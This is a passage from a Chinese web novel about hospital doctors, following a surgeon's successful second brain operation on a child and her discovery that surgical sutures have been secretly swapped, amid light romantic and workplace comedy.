双方人在会议室坐下,刘明不太情愿地介绍手术时的情况,这事堪称他职业生涯的滑铁卢。 “崔媛媛的手术指征很明确,术前检查都做了,行后正中右拐开颅肿瘤切除术,常规开颅,但是……”刘明看向南栀,“从影像中,我没有看出异常。” 南栀还在看CT,还有术中拍摄的照片。 南栀说:“颅后窝硬脑膜窦异常发育,枕窦及环窦高度发达?” 刘明不语。 沈玫说:“是的,开进去后我们都吓了一跳,常规手术的方式行不通,肿瘤没切下来,还得再开颅。” 南栀道:“枕窦高度发达,不能常规手术,结扎枕窦、切开寰窦都不可取,可能会阻断静脉回流引发急性脑膨出,应该放弃原计划,制定新的手术计划。” 但是刘明没见过这种场面,慌了神,按照原定手术计划进行,结果手术失败。 刘明低下头。 南栀听到病人的情况,好像并不惊讶。 她接触过类似情况的病人? 运气真好。 第113章 第113章线有问题啦 南栀问:“术中结扎枕窦了吗?” 结扎枕窦会导致严重后果。 南栀提问,刘明莫名紧张,有一种被老师叫起来回答问题的感觉,他连忙答道:“没结扎,我看情况不对,就停止手术了。” “那就好,”南栀再次拿起术中照片,“枕窦高度发达,偏离中线,横窦纤细几乎消失……我知道了,准备二次手术吧。” 刘明拧眉问:“你打算怎么做?” 南栀说:“右侧小脑皮质造瘘。” “……不再去看看崔媛媛的情况?或许可以完善检查。” 南栀:“我相信刘医生在做手术之前,检查很完善。有些情况是检查看不到的,需要医生有应变能力。” 刘明:“……” 很显然,他没有这个能力。 刘明不想承认他的能力有问题,他又问道:“南医生以前接触过类似情况的病人吧?” 他是第一次。 南栀却摇头,“第一次见。” 刘明:“……这怎么可能!” 阮乔实在看不下去。 这种情况的确少见,刘明虽然没能成功切除肿瘤,但好歹也没结扎导致更严重的情况。 他们跑来儿研所做手术,还不是给刘明擦屁股? 这会儿谦虚点儿就行了,还非要证明不是他技不如人。 阮乔说:“刘医生也见识过了,要不这手术刘医生继续做?我看你好像不太需要我们。” 韦初雪看向阮乔。 阮乔这辈子不指望能升职,口无遮拦,她以前可是要走升职路线的,不能和阮乔一样。 但是…… 韦初雪说:“如果刘医生还有其他想法,我们可以先离开。” 怼人真爽! 刘明:“……” 所长都发话把南栀请来,他还能再说什么? 刘明道:“我只是担心手术出问题。” 阮乔笑笑,“不用担心,手术已经出问题了。” 刘明:“……” 沈玫松了口气。 这段时间可把她憋坏了,每次看到刘明一副自己比舒教授强多了的样子她就生气。 奚阳华最夸张,直接伸出手鼓掌。 鼓了两下发现没人附和,又默默收回手。 刘明起身离开。 沈玫道:“你是真傻还是假傻,这会儿鼓什么掌?” “我看他不顺眼啊,而且话都是她们说的,明明是她们更过分。” 奚阳华看向南栀三人。 三人老老实实地坐着,脸上是南栀经常有的无辜表情。 奚阳华:“……” 又被坑了。 崔媛媛的手术备受关注。 一来她的情况有些特殊,二来她的身份也不一般,整个首都的神外医生都在关注这台手术。 他们还得知,再次进行手术的不是小儿神外的医生,而是从一个不知名小城市来的医生。 “南医生?名字挺耳熟。” “好像是地震那位……” “那只能说她反应比较快,和真的做手术不是一回事。” “听说还是舒教授的学生。” 一时间,好像每家医院都在讨论康宁医院过来的手术团队。 手术当日,儿研所的领导们几乎都到了,他们通过电视看手术的整个过程。 刘明也在,他比所有人都认真地盯着电视看。 他隐隐希望这台手术不要成功。 如果南栀真能给他擦屁股,他后半辈子恐怕都没脸见人。 刘明全神贯注地盯着电视,耳边忽然传来幽幽声,“刘主任,你该不会希望手术失败吧?” “当然……不可能!”刘明被奚阳华吓得后退两步,“奚阳华,你找事?” 奚阳华耸肩,颇有烂命一条就是干的架势,“和你直说了吧,南栀的水平远在你之上,她那脑袋里装了多少东西你都想象不到,她是舒教授最后一个学生,是舒教授用心教出来的,会差吗” 沈玫还想拦奚阳华,听到这里,忍不住也说道:“舒教授对我们来说意义不同,不是普通医生能相提并论的。” 刘明:“……” 他的手艺怎么了! 也没人说南栀就一定能成功啊!这种手术,有哪个医生敢保证手术一定成功! 刘明在心里祈祷,手术千万不要成功,起码不要轻而易举地成功。 奚阳华幽幽的声音再次传来,“可是手术若失败,刘医生就真的要负责了,啧。” 刘明:“……” 手术成功,手术必须成功!一定要成功! 手术室内,南栀已经按照计划再次开颅。 麻醉医生一直盯着屏幕。 行右侧小脑皮质造瘘,在超声的引导下,能准备暴露肿瘤。 肿瘤位于右侧隐窝,血供中等,最大直径不超过3厘米。 南栀道:“即便能成功找到位置,也不好切除,和延髓粘连比较紧密。” 韦初雪说:“但是如果医生反应快,他就该立刻改变手术方式,只需要做一次开颅手术,对患儿的损伤大大降低。” 手术室外的领导们看向刘明。 刘明:“……” 做手术就做手术,说出来干什么! 整台手术难度对南栀来说不太大,只是因为是二次手术,需要处理的问题比较多,手术比预计时间多花了两个小时。 手术顺利结束,术中出血仅100ml,崔媛媛被送到ICU。 南栀刚从手术室出来,所长就迎了过来,“小南的水平,比在儿研所时又精进不少。” 奚阳华瘪嘴,“舒教授天天给这家伙开小灶,这家伙走之前就做过好几起复杂手术了。” 阮乔低声道:“栀栀在儿研所也这么厉害呀。” 韦初雪笑道:“你还不了解她?” 阮乔:“……” 她一直以为南栀只是在省内很厉害。 可现在看来,儿研所的医生好像也就这样? 当然和她比起来还是很牛的。 南栀叮嘱道:“还要等崔媛媛醒过来看情况,肿瘤本身的情况还不错。” 所长笑道:“手术成功就好,其他的交给ICU,刘医生,这次南栀可帮了我们大忙。” 所有人都看向刘明,刘明不得不笑笑,然后朝南栀伸出手,不太真心道:“谢了。” 南栀看了眼他的手,没回应,她对所长说道:“我想带着阮医生和韦医生看看儿研所的设备,可以吗?” 所长说:“当然可以,我们随时欢迎小南你过来,其实你的实力,留在儿研所完全没问题。” 南栀客气地拒绝。 所长失望道:“你打算一直留在康宁医院?” 南栀说:“我想等康宁医院运作起来再说,康宁医院的儿科和儿研所还没办法比。” …… 刘明搓了搓手指,尴尬地收回手。 没人理他?! 晚上,崔媛媛清醒,精神状态良好。 当晚的头颅CT显示,肿瘤已被切除干净。 病理回报,崔媛媛是弥漫性大B细胞淋巴瘤,活化B细胞亚型,后续还要继续化疗。 这台手术原本就备受关注,现在手术成功,首都的神外都沸腾了。 他们沸腾的主要点是,一个小医院来的医生,成功给儿研所擦了屁股。 大家对康宁医院的好奇心越来越重,仔细一查,才发现康宁医院已经是附近几个省设备最完善的医院,当初还没搞出什么名头,院长就敢托关系搞设备。 尤其是儿科,是照着儿研所发展的。 术后,所长请南栀的团队吃饭,儿研所几位领导都在。 几杯酒下肚,所 长的话也变多了。 “小南同志,你的本事留在康宁实在可惜……我不是说康宁不好,是去那边的患者太少,像是陆教授,其实也是从康宁医院出来,来首都发展的。” 阮乔羡慕道:“能来首都工作啊,换作是我肯定来。” 她爸爸妈妈和奶奶能把这事写进族谱。 所长笑道:“小阮同志也可以过来嘛,你们配合得很完美。” 手术过程中,她们即便不开口说话,也能知道对方要做什么。 阮乔当然不会把客气的话当真。 南栀没再拒绝,只说要考虑考虑。 术后三天,南栀确认崔媛媛没什么问题才离开,她和陆随定了周末请客。 南栀不太喜欢结婚仪式,她和陆随商量好,只请客吃饭。 如果再因为工作往后拖,黄春兰女士可能要被气死了。 尚延也给她们准备了接风宴。 手术成功的消息传回康宁医院,康宁医院的腰杆再次挺直。 这次可是他们去帮儿研所的忙,性质和以往完全不同。 往小了说,他们是团结友爱。 往大了说,有些儿研所无法处理的问题他们都能处理…… 当然这些只能在心里想想,表面上他们只是在互帮互助。 南栀心情不错,喝了两杯啤酒。 她是第一次喝酒,尚延担心她出事,电话通知陆随来接人。 儿科几人吃完饭出门,陆随刚到,南栀擦了擦眼睛,高兴地走过去,“接我的?” 陆随点头。 阮乔羡慕道:“我就不能有一个会来接我回家的男朋友吗?” 盛昭云说:“男人很麻烦。” 阮乔改口,“我就不能有一个在我累时会来接我,平时又不会来找我的男朋友吗?” 尚延:“……” 什么好事都叫她占了。 南栀跟着陆随回家,她念叨道:“偷偷改数据的人确定是郤文曜了吗?你一定得小心啊,千万别被他害了。” 陆随说:“是他,但是没证据,我也想不明白哪里得罪过他。” 甚至他曾经写过的论文,还写了郤文曜的名字。 难道是郤文曜好处占了太多,陆随过来后不许他占便宜,他不高兴了? 但也不至于拿患者的性命开玩笑吧? 南栀挥舞着拳头,“我帮你把他找出来!我们结婚了,我得保护你!” 陆随:“……” 他还是希望是他保护南栀的。 陆随瞥了她一眼,“你现在能回家?” 虽然意识很清醒,但已经是一副醉鬼的模样。 南栀说:“我没醉啊,只是第一次喝酒,有点儿开心。” 她低头闻了闻自己的衣服,“酒味好大,都是韦宁雨喝的……要不我去宾馆对付一晚上。” 如果让黄春兰看到,她估计会着急。 陆随看了眼路边,说:“去我家,离得近。” 南栀没意见。 舒映阶去世后,陆嘉述就回临川继续做她的研究。 陆随扶着南栀走进来时,陆嘉述刚从地下室出来。 她神色复杂地看着亲孙子,“你这样是不是……” 陆随:“?” 陆嘉述提醒道:“你们周末就要请客吃饭,虽然说没什么仪式,但周末起,你们就是真正的夫妻了,不急于这一时。” 怎么还把南栀带到家里了? 亲家知道可是要担心的。 陆随听得莫名其妙,“急什么?” 陆嘉述:“急着……对吧?” 陆随:“对什么,我不着急,您指的是什么?” 陆嘉述:“……” 她孙子是真傻还是装傻? 陆嘉述问:“你打算让南栀住哪儿?” 陆随更是莫名,“家里这么多空房间,会没有她住的地方?我去收拾一间。” 陆嘉述:“……” 明白了,真傻。 陆嘉述懒得再管陆随。 把这小子送到夜店,他估计都能认真研究长时间在夜店是否会影响心脏。 “随你们!” 陆随给南栀收拾出来一间客房。 南栀拽着陆随不让他走。 陆嘉述磨磨蹭蹭留在客厅喝茶,暗中观察客房的情况。 他们已经领证了,如果真……她应该不需要阻拦?这不算祸害小姑娘吧? 再过几天都要商量住处了,没关系的吧? 南栀还会主动留下陆随,这点陆嘉述真没想到。 没过一会儿,她听到客房里传来声音,“有本事就比一比谁背课本快!我看一遍就能记住的!” 陆嘉述:“……” 是她高看南栀和陆随了。 南栀没什么留下陆随的理由,就是喜欢和他待在一起。 尤其是想到与陆随在一起不再抵触时,就更喜欢往他身边凑了。 陆随只好带着微醺的南栀认真研究课本。 陆嘉述喝完茶,忍不住往客房走,路上给自己找了无数理由,比如——我那边的厕所不能用了,我来拿东西。 客房的门没来得及关。 她经过客房,偷偷往里瞄,屋内的二人坐在书桌前,身体紧挨着,根本没留意她。 准备好的说辞完全没用处。 接着,陆嘉述听到他们嘀嘀咕咕……念课本的声音。 算了多虑了。 * 翌日,南栀和陆随一起去医院。 南栀下车时,正好遇到曾经说邢小谷闲话的同事,她主动朝对方打招呼,“你好啊,我们领证了哈,闲话我替你传,别累着你。” “……” 陆随淡定地看着南栀到处树敌,习惯了。 对方是一声都不敢吭。 连院长召开会议,在全院面前表扬了南栀三人,现场给她们发了奖金。 大家伙看到红包后眼睛都挪不动了。 瞧瞧他们连院长,给钱的时候是真给! 表彰会议结束,南栀戴着小红花回到办公室,阮乔和韦初雪也分到一朵小红花。 韦宁雨有点儿羡慕,“我只在幕后,也没人给我朵花。” 阮乔在他面前嘚瑟了两圈,“羡慕吧,现在转来手术室还来得及。” 韦宁雨瘪嘴,眼睛一直往小红花上瞟,“我现在已经很忙了。” 他又看见韦初雪。 比起南栀和阮乔,韦初雪低调很多,没戴小红花。 这都是多少年前的把戏,她念幼儿园时才盼着老师给她小红花。 韦宁雨道:“你不戴给我,我喜欢戴。” 韦初雪闻言,把小红花拿出来,认真别好,“这是我应得的。” 韦宁雨:“……” 所以他真不喜欢这人!! 南栀摘下小红花递给韦宁雨,“没你的话,好多事我还真不知道怎么办。” 她可不见得能找到电视台的熟人。 关键还是要保证节目能播出来。 韦宁雨这才露出笑容,“这就对了嘛!你们去儿研所帮忙的事,也不能放过,必须好好宣传!让大家都知道,儿研所能做的手术我们也能做。” 阮乔评价道:“奸商本性不改。” “你们能缺我这个奸商?” 阮乔奉上一瓶汽水,“缺不了。” 南栀还惦记着陆随的事,她问韦宁雨,“陷害陆随的人找到了吗?” “你俩昨天一起走的,你没问问?” “没来得及,”南栀说,“昨天我去他家睡的,时间好紧张,早上也忘了。” 阮乔:“!!” 陆医生还是做了禽兽! 韦宁雨坏笑道:“没想到陆随看着单纯,也有这副嘴脸,你们昨天……咳。” 南栀:“我们昨天看完了大学四年的书,真累,学医真惨,要看这么多书。” 韦宁雨:“……” 办公室集体安静。 他们没有世俗的欲望吗? 而且他们为什么可以一晚上就看完四年的书?! 整个办公室的医学生们陷入自我怀疑中,并且很有回家翻教科书的冲动。 阮乔拿出期刊。 韦宁雨凑到旁边一起看。 邢小谷还在愉快地吃早餐,她打算今天出诊时速度快一点儿,最好能早下班,下班之后她要去逛街、吃烧烤、吃…… 邢小谷一个没留神,办公室其他人都已经拿起书在看。 邢小谷:“……” 有必要如此刻苦吗? 做医生又不是做神仙,还真要时时刻刻都学习?她邢小谷就要做与众不同的人!就要做儿科的一朵花儿!就要…… 邢小谷擦干净手,摸向抽屉,试图找出一本书。 她翻了半天,只找到一本时尚发型杂志。 邢小谷:“……” 平时不爱学习,现在完全暴露。 邢小谷走到魏联旁边,“哥,借本书呗?” 新生儿如今已经并入儿科,他们的办公室搬到儿科隔壁,方便交流。 水房暂时没有热水,梁梦拿着保温杯来借热水,一进门看到的就是儿科众人集体刻苦学习的场景。 梁梦:“……” 她什么都没做错,好像又做错了什么。 梁梦恍惚地回到办公室,还没正式上班的大家正有说有笑地聊天。 梁梦:“你们还能聊得下去??!” * 陆随今天排了两台手术。 他们心外科沾了儿科的光,不用和韦宁雨一样努力宣传,就被带火了,科室越来越忙,今年来了很多实习生,还有刚调过来的医生。 隔壁办公室也分给心外,陆随和几个老人留在旧办公室。 箫珵今天去门诊,没手术,他刚解决一碗馄饨,收拾好饭盒回来,敲了下陆随的头,“妹夫,那件事查得怎么样?” 这声“妹夫”格外刺耳。 男人,总是要在意一些莫名其妙的点,比如做箫珵的妹夫,就很没面子! 陆随冷冰冰道:“整个科室和我关系最差的只有一个 人。” 箫珵:“谁?” “你。” “……”箫珵道,“我不至于让我妹妹刚结婚就成寡妇,你出事,对南栀有什么好处?” 陆随道:“或许可以继承遗产?” “有道理,”箫珵认真琢磨好半天,“嘶,如何把你神不知鬼不觉地弄死呢?” 一旁的闫民怀低声道:“完了,萧哥彻底走火入魔,已经打算害了陆哥抢人了!” 郤文曜背对陆随与箫珵,没有回应。 闫民怀伸手在郤文曜眼前晃了晃,“你怎么了?” 郤文曜抿嘴摇头。 “你也挺怪,萧哥也怪,”闫民怀嘀嘀咕咕道,“陆哥更怪,只有我一个正常人,唉,正常又帅气,我可真优秀啊。” 陆随准备去做手术。 箫珵跟过去。 两人离开办公室才低声道:“查得怎么样了?” 陆随说:“郤文曜最近很老实,没做什么。” 他甚至故意露出破绽,比如当着郤文曜的面说错药的名字,郤文曜都没有反应。 箫珵问:“你直接去找主任,是不是打草惊蛇了?” “不知道对方是谁,更没法防备,”陆随说,“而且我不明白主任为何一定要帮他。” 箫珵嫌弃道:“你不如想想自己做了什么坏事得罪了人家。” “哦,”陆随面无表情地问,“你做了什么坏事得罪了韩阅松?” 箫珵:“……” 他试图端起大舅哥的架子,“小陆啊,你这样子,我是要让南栀和你分手的。” 陆随挑眉,“我们现在是合法夫妻。” “夫妻也能离婚。” 陆随道:“不可能。” 箫珵:“你哪来的信心?” 陆随微笑:“南栀喜欢我。” 箫珵:“……” 他恨得牙痒痒。 听听,这是多不要脸的话。 南栀也真是的,这么多男人不喜欢,实在不行去喜欢女人也行啊,怎么就看上陆随了? 陆随手术时间比预计久,没能赶上中午吃饭。 箫珵先到食堂,南栀看到他后就往他身后看。 大舅哥很生气,“他去做手术了,不在。” 南栀失望地“哦”了一声。 箫珵:“……” 以前南栀只有看到他才开心的。 箫珵愤愤不平,“你俩天天凑在一起过家家,有意思吗?” 他都听说了,南栀和陆随相处一晚,重温了大学所有课程。 导致儿科和新生儿其他人纷纷拿出医学方面的书籍,誓要追赶南栀的进度。 更为严重的后果是,此事也被其他科室主任知道,儿科成为科室主任口中别人家的孩子,要他们向儿科学习。 在康宁工作是越来越卷。 南栀惊讶道:“过家家?没有呀。” “这还不是过家家!”箫珵问,“你知道其他情侣在一起都做什么吗?” 南栀说:“开心不就好了,我们待在一起挺开心的。” 箫珵恨铁不成钢,“人家情侣约会,都是去逛街看电影,会牵手会接吻会……” 南栀:“噢,我也可以学他们呀,牵手有过,接吻也行,接吻之后做什么?” 南栀期盼地看着箫珵。 箫珵:“……” 阮乔几人也看过来,“接吻之后做什么?” 箫珵:“……,就该看书了。” 阮乔:“呸!” 儿科这边热热闹闹,胸外科的两个医生愁眉苦脸。 他们科室在康宁医院只能算一般,平时手术比儿外少得多,也不如心外。 偏偏最近还出了差错。 “我就不明白了,我完全是按照手术流程来的,为什么术后感染那么多?以前做手术,没这么多感染的。” 另一人也不理解,“我手底下的病人,术后感染的概率也增加了,有两个年轻病人恢复得也不好,但是从检查结果来看,病得也没那么严重。” 南栀听到对话看过去。 箫珵问:“你们出问题了?” 胸外医生回答道:“术后感染,找不到原因。” 其中一人直勾勾地盯着南栀。 阮乔说:“干嘛,想甩锅我们栀栀?我们可不做胸外的手术。” “哪能啊,”那人满脸堆笑,端着餐盘走过来,“南医生现在可是我们康宁医院的宝贝,哪个科室的主任看到南医生不得多夸几句?南医生还有直接和连院长沟通交流的权利,连祁院长都能跳过去,可见医院有多重视。” 阮乔问:“咱能省去拍马屁的环节吗?” 胸外医生看看儿科其他人,他们脸上多少都有些嫌弃。 胸外医生:“……” 拍马屁在他们科室很流行的啊,他们主任最喜欢听了。 胸外医生说:“其实我就是想让南医生帮我们复盘手术过程,看看到底哪里出现问题,现在术后感染的概率真的不正常。” 箫珵提醒道:“南栀是儿科医生,擅长做的手术是神经外科的手术。” 和胸外科可没关系。 胸外医生道:“我知道。” “知道你还找南栀?!” 胸外医生吞吞吐吐道:“我就是觉得……有戏。” 不知为何,总觉得南栀什么都懂。 箫珵看向南栀,“可以直接拒绝,不用不好意思。” 南栀想了想,问:“都是什么手术?” 胸外医生立刻答道:“食管裂孔,胸腺切除,肺部手术,都有,所以我们才想不明白。” 箫珵:“……你也了解胸外的手术?” 南栀如实道:“以前还没定好去哪个科室,所以都研究过。” 各个外科的手术视频她都看过很多遍,想找到最适合自己的科室。 胸外的手术她看过不少。 南栀说:“我可以去看看,但不保证能找到原因。” 胸外医生连忙贡献出自己餐盘里的鸡腿,“你能去就行,你去了我们就有救了。” 阮乔压力更大了。 其他科室医生都要来找南栀帮忙,她现在只能顾着神经外科。 她就算把书翻烂了,也追不上一点儿啊。 南栀低声道:“后世资源多,现在和后世没法比。” 现在看个期刊都困难。 阮乔重新打起精神,“你说得对,我不能怪生不逢时,大家都生得不对,我得自己努力!” 邢小谷默默低头吃饭。 疯了,都疯了! …… 要不她今天也去学校图书馆借几本书? 南栀吃过饭后,直接跟着胸外医生去胸外科。 阮乔想长长见识,也跟着去了。 两位主刀医生给南栀讲述手术过程。 南栀看了一遍检查报告,道:“手术过程没有问题。” 两位医生松口气,“你说没问题,那估计是真没问题。” 他们好像完全忘记南栀并不是胸外的医生。 阮乔听得直摇头。 胸外找神外帮忙看手术,还百分之百相信,倒反天罡。 胸外医生放松完又发愁道:“可如果手术没问题,为什么术后感染率会增加?” 南栀暂时还没想通,她问:“能去手术室看看吗?” “当然可以,你怀疑是手术室有问题?” “还不知道,都看看吧,包括手术用的器材。” 两人带着南栀去检查。 胸外其他人频频看过来。 不了解情况的实习生茫然道:“老师跟着的医生是谁?” 好像很恭敬,但又不像是资深老医生。 “你不认识她?南医生,儿科的骄傲,现在也是康宁医院的招牌。” “哦!是她!原来她这么年轻!我还以为她起码四十岁!” 南栀专注找线索,没听到他们的对话,阮乔的腰板挺得笔直。 反正夸南栀和儿科就是在夸她! 南栀在手术室逗留很久,每个小地方都要详细检查。 手术室没什么问题,南栀最后去差手术器材。 胸外医生紧张地看着南栀,“应该没问题吧?我们一直都用这些东西,如果是手术器材出问题,那我们可真是完蛋了。” 南栀一边检查一边问:“术后感染率增高,有家属来闹吗?” “目前还没有,他们应该不知道情况。” 南栀说:“如果不正常,最好预防一下,向家属说明情况。” “是,明白,我们也不想瞒着家属,可你也看到了,手术过程没问题,我们真的找不到原因。” 南栀正巧拿起手术用的缝线,她拆出来看了半天,问:“是用的这个线?” 不同手术使用的缝线材质、强度都不同。 从材质来看,有天然也有合成材料。 按照强度分,又可以按照线径分为不同规格。 胸外医生说:“是啊,有什么问题吗?” 南栀:“聚乙醇酸线?” “这不是标着?” 南栀扯出一段线,“聚乙醇酸线可吸收,袋子上虽然标注为聚乙醇酸线,但这根线上明显有毛刺,这是普通丝线。” 话音落下,在场所有人都手脚发凉。 胸外医生哆哆嗦嗦接过丝线,认真看了好一会儿,说:“这根……也挺光滑?” 南栀说:“你拿显微镜看。” 另一人立刻去检查其他缝线,“不对啊,这些线都被人换过了!” 阮乔本以为造假,听到这话差点儿晕过去,“什么叫被换过了?!” “这根线是5-0,线径0.15,但放在6-0的袋子里。还有这根,2-0的,在3-0的袋子里。” 不同手术需要用到不同强度的线。 南栀忽然想到什么,她叮嘱胸外医生,“赶紧把这事告诉主任和院长,把所有器材都检查一遍。” 两名胸外医生现在只想去死,晕乎乎地点了下头。 南栀把 阮乔留下来帮他们,自己去了心外办公室,得知陆随还没从手术室里出来。 她心跳越来越快,迅速换好手术服去手术室找陆随。 陆随正在做最后的缝合。 南栀冲进来,盯着陆随的手。 陆随看了她一眼,“怎么了?” 南栀先把气喘匀,然后问:“检查过缝线吗?有问题吗?” 陆随:“缝线?当然没问题。” “你确定?胸外的缝线都被人乱放过了,他们科室多出好几起术后感染。” 陆随道:“虽然很多线的线径差距很小,但这线究竟是什么规格的,我摸着就能知道。” 南栀这才松口气,她倒是也能立刻分辨出来。 陆随的手术顺利结束。 南栀将胸外发生的事原原本本告诉陆随。 陆随思索道:“如果只是用普通丝线冒充聚乙醇酸线,可能是和收回扣、洗钱、走私有关。但大胆到把所有缝线都调换,这是巴不得医院会出事。” “我也是这样考虑的,郤文曜最近有动作吗?” 陆随摇头,“他对我倒是没再做什么,如果这件事是他做的,我人又不在胸外,他这么做有什么用?除非……” 南栀:“他只是想造成医疗事故,至于出事故的人,他并不在意是谁?” 除了论文一事,陆随平时和他无过多交流。 南栀说:“如果他因为没法蹭论文记恨你……倒是也有可能,但不管怎么说,这也太坏了,还是针对医院的可能性更大。” 陆随道:“可他也是康宁的医生,针对医院对他有什么好处?” 南栀摇头,“我对他一无所知。” 这时候他们的“奸商”就能派上用场。 韦宁雨听完他们的讲述,表态道:“熟人我有,我现在就去联系,你们也找几个郤文曜的校友问问。最好能找到郤文曜父母的朋友,把事情搞清楚。” 第114章 第114章讲座 韦宁雨虽然负责找人打听,但本职工作还得做,他还得去给住院部的兔崽子们打针。 医院没有留置针,住院的小朋友每次扎针都要现扎,年纪大点儿的反应小一些,年纪小的看见针头就哭。 有的时候韦宁雨还没开始扎,那边就已经“疼”晕了。 南栀有好些日子没往普通病房走。 “最近感冒发烧的还是挺多的,”韦宁雨说,“甲型H3N2也不知道是谁带过来的,咱们这里属于北方,应该更冷的时候再发病吧?” 南栀耸肩,她也找不到源头,只能说控制住就好。 “你写的预防手册倒是挺有用的,校长和我联系过,想专门出一本小册子给学生发下去,但是他们给的资金不多,我还自己添了点儿,这学校真穷。” 南栀看向韦宁雨。 他虽然总是说着爱钱,但好像也没那么爱钱。 自从他离开韦家,改回自己的名字,就不再提多赚钱的事。 韦宁雨问:“你看我干嘛?” 南栀由衷道:“很佩服你。” 韦宁雨:“……别肉麻,我可不是陆医生,不吃你这套。” 南栀道:“他也不吃这套啊。” “拉倒吧,”韦宁雨控诉道,“你夸他拿手术刀的手好看,他都快乐成花儿了!” 笑得一点儿都不值钱! 丢人! 南栀还真没注意过,“本来就好看嘛。” 韦宁雨:“!!” 这种“真诚”的人说出来的夸奖最得人心。 普通病房比神外病房闹腾。 有两个刚退烧的小朋友疯跑出来,正好撞上南栀。 韦宁雨习以为常,训斥道:“昨天烧得吃不了饭,忘记了?回床上躺着!” 两个小朋友雄赳赳气昂昂地看着韦宁雨,“我们在拯救世界,不是瞎跑。” 韦宁雨冷笑,“世界如果靠你们拯救,地球早灭绝了。” 小朋友:“……” 两人都不服气,但韦宁雨看起来不太好欺负,于是他们都看向南栀。 南栀太久没来住院部,混世魔王们好像都不认识她。 南栀歪歪头。 小朋友问:“你也要拦着我们去拯救世界?” 南栀微笑,“你们知道我是谁吗?” 两人困惑地摇头。 她蹲下来,摸摸两人的头,“姐姐是神经外科的医生哦,你们知道什么是神经外科吗?就是给脑子动手术的。姐姐可以把你的脑袋撬开,看看里面装了什么,拿出来再放回去哦。” 两个小朋友“花容失色”。 他们抓紧彼此的手,惊恐地看着南栀,然后一起往病房逃去。 韦宁雨:“……,你真可怕。” 南栀道:“他们才可怕呢。” 韦宁雨走进病房给他们打针。 南栀还真没学过打针,她站在旁边好奇地看着。 一个五六岁的小姑娘看见针孔就叫,她崩溃地往妈妈怀里钻,“我不要他打!他打针疼!我要姐姐护士打!” 韦宁雨快被气笑了,他还是第一次被质疑打针技术。 他可是出了名的打针不疼拔针后不青! 南栀上前一步,“我可以来帮你打针呀。” 小姑娘看到年轻女孩格外亲切,态度有所缓和。 然而就在此时,有人喊了一嗓子,“她是开脑子的!” 是刚才的小朋友。 整个病房小朋友的目光都戒备了。 小姑娘害怕得发抖,“什么是开脑子的?” 南栀拿起床头柜的水果刀,比画道:“就是拿着刀,在脑袋上开个口子,然后做手术。” “骗人!骨头可硬了,刀打不开脑子!” 南栀微笑道:“可以用锯呀,你们看见家长锯木头没,一前一后地拉,还有木屑飘下来,也可以锯颅骨哦。” 小朋友们安静如鸡。 南栀问:“谁要找我打针?举手!” 小朋友们抱紧胳膊瑟瑟发抖。 南栀又问:“有人要找这个叔叔吗?” 韦宁雨:“?” 他是哥哥。 小朋友们争先恐后跑到韦宁雨身后。 韦宁雨:“……” 这是他第一次顺利地给年纪不大又自愿的孩子打针。 南栀说:“你们可要听哥哥姐姐还有妈妈的话,如果有谁不听话,就送到我的手术室,然后……” 有两个小朋友已经装模作样背起书,“鹅鹅鹅,曲项向天歌,白毛浮绿水,爪子拨清波……” 接着就有家长抽他,“什么爪子?!是红掌!” “红爪拨清波……” “……” 韦宁雨打完针,他找的“关系”刚好把电话打到护士站。 韦宁雨淡定地接完电话,然后冲到南栀面前,“郤文曜他爹也是医生,你知道吗?!” 下班前,胸外科缝线被换一事已经报到连争那边,连争让胸外主任私下调查,暂时不要声张。 不过其他科室都有重新清点器材,换线的人想不知道也难。 下班后,几人聚到陆随家。 虽然陆教授已经回来,不过陆家的红酒仍然很吸引人,不备班的都给自己倒了一杯。 韦宁雨神秘道:“郤文曜的父亲不仅是康宁医院的医生,而且还是心外科的,叫郤诚,你们知道吗?” 陆随摇头。 箫珵说:“我们哪有时间关心他爸是做什么的,他平时话不多,没提过家里的事。” 而且他平时基本和陆随走在一起,很少和其他人聊天。 韦宁雨说:“这不就更奇怪了吗?郤文曜才多大年纪,按理说郤诚也就刚退休,心外的人怎么可能不知道?” 箫珵也迷糊了,“是啊,他去哪了?” 阮乔把韦宁雨的红酒偷走,“你再卖关子,我就都喝了。” 韦宁雨赶紧护住酒,“你怎么不禁逗呢!我说!现在就说!” 郤诚是郤文曜的生父,父子俩都在康宁医院工作。 但是郤诚的年代比较久远,那会儿的康宁医院和不到最落魄的时候,也没有分什么心外科。 郤诚的父亲是外科医生,专门做心脏方面的手术,比如房间隔缺损等等。 如果他正常工作,应该刚过退休的年纪。 如果他身体健康,大概率会被缺医生的康宁医院返聘。 韦宁雨说:“我是找郤家的朋友了解到的,郤诚已经死了很多年了,他去世时,郤文曜才五岁,而且郤诚是自杀的。” 南栀问:“知道理由吗?” “说是因为手术事故,”韦宁雨道,“郤诚犯错了,导致病人术后大出血,那会儿的设备还不如现在,没抢救过来。” 阮乔问:“他心里过不去这道坎,自尽了?” 南栀道:“是什么手术事故?” 韦宁雨:“栀栀问到重点了!” 阮乔挥拳。 韦宁雨:“但我一定先回答乔乔!” 阮乔放下拳头。 “是这样的,”韦宁雨说,“据外人所说,郤诚手术出事故后,就一直萎靡不振,情绪不对,反正所有人都认为他是因为手术事故自尽的。” 南栀问:“为什么说据说?” “我本来也是这么想的,手术事故闹出人命,状态不对,这不是很正常吗?但你们知道他为什么会出手术事故吗?” 南栀配合地摇头。 阮乔:“你再废话,我就把你剁了。” 韦宁雨慷慨激昂道:“他用错了缝线!” 多年前,郤诚的父亲用错缝线,导致血管撕裂,病人术后大出血,抢救失败。 随后郤诚自尽,事情不了了之。 现在,郤文曜选择和父亲相同的职业,而胸外也发生缝线乱掉的事。 用错缝线,可大可小。 但既然性命攸关,再小的都不是小事。 南栀问:“难道他认为郤诚是被诬陷的?他现在的行为,更像是在报复医院。” “这就不知道了,当时的院长还不是连院长,领导都换了一大批。”韦宁雨说,“唯一没换的就是心外主任,当时他们两个应该是同事,后来郤诚出事故自尽,心外主任慢慢爬到主任的位置。心外的主任不是很照顾郤文曜吗?你们说巧不巧。” 翌日,医院派人来调查缝线一事。 各个科室原本管得并不严格,医生护士们都很自由,想去哪儿就去哪儿,现在每个科室都新增了好几把锁,严格记录出入人员,只有本科室的医生才有两把钥匙。 韦宁雨看着新出台的政策吐槽道:“看着吧,一个科室这么多,尤其是咱们儿科,就两把钥匙,做什么都不方便,没过多久又得放开。” 南栀发现韦宁雨还挺有当领导的天赋。 医院的调查很快有了结果,郤文曜的确是接触过胸外的医生之一,有人目睹他曾频繁往胸外科去,虽然几乎都是去找胸外医生的。 没有完整的证据,无法给郤文曜定罪。 陆随把论文一事上报院里,原主来医院后写的所有论文,登的都是主任和郤文曜的名字。 